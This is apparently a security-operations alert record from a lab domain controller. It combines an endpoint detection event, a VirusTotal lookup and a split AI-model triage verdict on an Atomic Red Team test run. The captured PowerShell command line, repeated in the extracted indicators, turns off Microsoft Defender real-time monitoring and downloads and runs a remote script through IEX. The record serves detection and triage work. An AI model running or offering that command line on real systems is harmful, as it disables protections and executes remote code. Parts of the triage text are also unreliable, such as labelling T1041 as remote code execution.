{
  "author": "ckeller@fusioncybersecurity.us",
  "cat": "Realtime Monitoring Tampering",
  "detect": {
    "event": {
      "BASE_ADDRESS": 140694944940032,
      "COMMAND_LINE": "PowerShell.exe  Set-ExecutionPolicy Unrestricted ; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 ; Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force; Set-MpPreference -DisableRealtimeMonitoring $true ; IEX (IWR \u0027https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1\u0027 -UseBasicParsing) ; Install-AtomicRedTeam -Force -getAtomics; Invoke-AtomicTest T1041 -CheckPrereqs ; Invoke-AtomicTest T1041 -GetPrereqs ; Invoke-AtomicTest T1041 ",
      "FILE_IS_SIGNED": 1,
      "FILE_PATH": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
      "HASH": "de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c",
      "MEMORY_USAGE": 152584192,
      "PARENT": {
        "BASE_ADDRESS": 140698856259584,
        "COMMAND_LINE": "cmd.exe /C C:\\Windows\\TEMP\\pld50FC.tmp.bat T1041 ",
        "FILE_IS_SIGNED": 1,
        "FILE_PATH": "C:\\Windows\\System32\\cmd.exe",
        "HASH": "3656f37a1c6951ec4496fabb8ee957d3a6e3c276d5a3785476b482c9c0d32ea2",
        "MEMORY_USAGE": 4558848,
        "PARENT_ATOM": "d2b1ecad7af81b32ac16ae0d69c2a7fe",
        "PARENT_PROCESS_ID": 3496,
        "PROCESS_ID": 7784,
        "THIS_ATOM": "c1d5d0ed21717873736d54e669c2a82e",
        "THREADS": 3,
        "TIMESTAMP": 1774364718110,
        "USER_NAME": "NT AUTHORITY\\SYSTEM"
      },
      "PARENT_PROCESS_ID": 7784,
      "PROCESS_ID": 7948,
      "THREADS": 31,
      "USER_NAME": "NT AUTHORITY\\SYSTEM"
    },
    "routing": {
      "arch": 2,
      "did": "",
      "event_id": "d428e7b6-53db-4782-aa6b-e435e59ef988",
      "event_time": 1774364719190,
      "event_type": "NEW_PROCESS",
      "ext_ip": "67.60.122.240",
      "hostname": "df-labsdc01.dflabs.local",
      "iid": "47501359-645e-4049-906e-e6195da7afcf",
      "int_ip": "192.168.45.129",
      "latency": 4357,
      "moduleid": 2,
      "oid": "ad19afae-3759-4207-b06e-8648b225c455",
      "parent": "c1d5d0ed21717873736d54e669c2a82e",
      "plat": 268435456,
      "sid": "e4a1c62d-4d1f-4472-bae4-43291246b4d4",
      "tags": [
        "domain-controller",
        "fusion-soc-alert",
        "fusion-soc-case",
        "fusion-soc-pulled",
        "fusion-soc-triage"
      ],
      "this": "a7a9b78146a0cc20ecb9bae069c2a832"
    }
  },
  "detect_id": "ea830906-1c1a-44dd-8d1e-477d69c2a833",
  "gen_time": 1774364723548,
  "link": "https://app.limacharlie.io/orgs/ad19afae-3759-4207-b06e-8648b225c455/sensors/e4a1c62d-4d1f-4472-bae4-43291246b4d4/timeline?time=1774364719\u0026selected=a7a9b78146a0cc20ecb9bae069c2a832",
  "namespace": "general",
  "routing": {
    "arch": 2,
    "did": "",
    "event_id": "d428e7b6-53db-4782-aa6b-e435e59ef988",
    "event_time": 1774364719190,
    "event_type": "NEW_PROCESS",
    "ext_ip": "67.60.122.240",
    "hostname": "df-labsdc01.dflabs.local",
    "iid": "47501359-645e-4049-906e-e6195da7afcf",
    "int_ip": "192.168.45.129",
    "latency": 4357,
    "moduleid": 2,
    "oid": "ad19afae-3759-4207-b06e-8648b225c455",
    "parent": "c1d5d0ed21717873736d54e669c2a82e",
    "plat": 268435456,
    "sid": "e4a1c62d-4d1f-4472-bae4-43291246b4d4",
    "tags": [
      "domain-controller",
      "fusion-soc-alert",
      "fusion-soc-case",
      "fusion-soc-pulled",
      "fusion-soc-triage"
    ],
    "this": "a7a9b78146a0cc20ecb9bae069c2a832"
  },
  "source": "ad19afae-3759-4207-b06e-8648b225c455.47501359-645e-4049-906e-e6195da7afcf.e4a1c62d-4d1f-4472-bae4-43291246b4d4.10000000.2",
  "source_rule": "general.RealTime Monitoring Tampering",
  "ts": 1774364733000
}

{
  "virustotal": {
    "malicious": false,
    "provider": "virustotal",
    "reputation": 73,
    "stats": {
      "confirmed-timeout": 0,
      "failure": 0,
      "harmless": 0,
      "malicious": 0,
      "suspicious": 0,
      "timeout": 0,
      "type-unsupported": 4,
      "undetected": 72
    }
  }
}

{
  "confidence": 0.84,
  "false_positive_reason": null,
  "investigation_questions": [
    "What other processes were spawned by this parent process?",
    "Are there any network connections established during this session?",
    "Was the SYSTEM account used for legitimate administrative tasks recently?"
  ],
  "ioc_analysis": "The command line contains malicious PowerShell scripts that disable Microsoft Defender Real-Time Monitoring, download and execute an Atomic Red Team installation script via IEX, and run T1041 tests. While the executable path (C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe) is legitimate, the command arguments are clearly malicious in nature.",
  "iocs_extracted": [
    "Set-MpPreference -DisableRealtimeMonitoring $true",
    "IEX (IWR \u0027https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1\u0027 -UseBasicParsing)",
    "Invoke-AtomicTest T1041"
  ],
  "mitre_techniques": [
    "T1562.003",
    "T1041"
  ],
  "recommended_actions": [
    "Manual analyst review required \u2014 AI models (split)",
    "Isolate the host immediately to prevent lateral movement",
    "Block outbound traffic to redcanaryco/invoke-atomicredteam repository",
    "Review all PowerShell execution policies and disable remote script execution",
    "Check for persistence mechanisms in startup locations"
  ],
  "risk_score": 85,
  "severity": "high",
  "summary": "**Vote: SPLIT (1/2 -\u003e SUSPICIOUS)**\n\n### \u264a gemini-cli Analysis (Primary)\nFailed or timed out.\n\n---\n\n### \ud83e\udd16 qwen3.5:4b Analysis (Secondary)\n**Verdict:** true_positive | **Confidence:** 0.98\nThis event represents a confirmed attack using the Atomic Red Team framework to disable real-time monitoring and execute remote code execution (T1041). The process is running under SYSTEM privileges with explicit commands to bypass security controls.\n\n**IOC Analysis:** The command line contains malicious PowerShell scripts that disable Microsoft Defender Real-Time Monitoring, download and execute an Atomic Red Team installation script via IEX, and run T1041 tests. While the executable path (C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe) is legitimate, the command arguments are clearly malicious in nature.\n\n---\n\n### \ud83e\udd16 deepseek-r1:8b Analysis (Secondary)\n**Verdict:** suspicious | **Confidence:** 0.7\nThe detection involves a legitimate PowerShell process running from the expected System32 location, but the command line attempts to disable real-time monitoring and install attack tools, indicating suspicious activity despite the benign binary.\n\n**IOC Analysis:** The FILE_PATH C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe is a known legitimate Windows binary. The HASH de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c matches a Microsoft-signed binary, confirming it is likely benign. However, the COMMAND_LINE includes actions to disable real-time monitoring and download/install attack tools, suggesting malicious intent.",
  "verdict": "suspicious",
  "voting": {
    "auto_action": "manual_review",
    "mode": "split",
    "total_models": 2,
    "vote_summary": [
      "qwen3.5:4b: true_positive (critical, 98% confidence)",
      "deepseek-r1:8b: suspicious (high, 70% confidence)"
    ],
    "votes": [
      {
        "confidence": 0.98,
        "model": "qwen3.5:4b",
        "verdict": "true_positive"
      },
      {
        "confidence": 0.7,
        "model": "deepseek-r1:8b",
        "verdict": "suspicious"
      }
    ],
    "winning_count": 1,
    "winning_verdict": "suspicious"
  }
}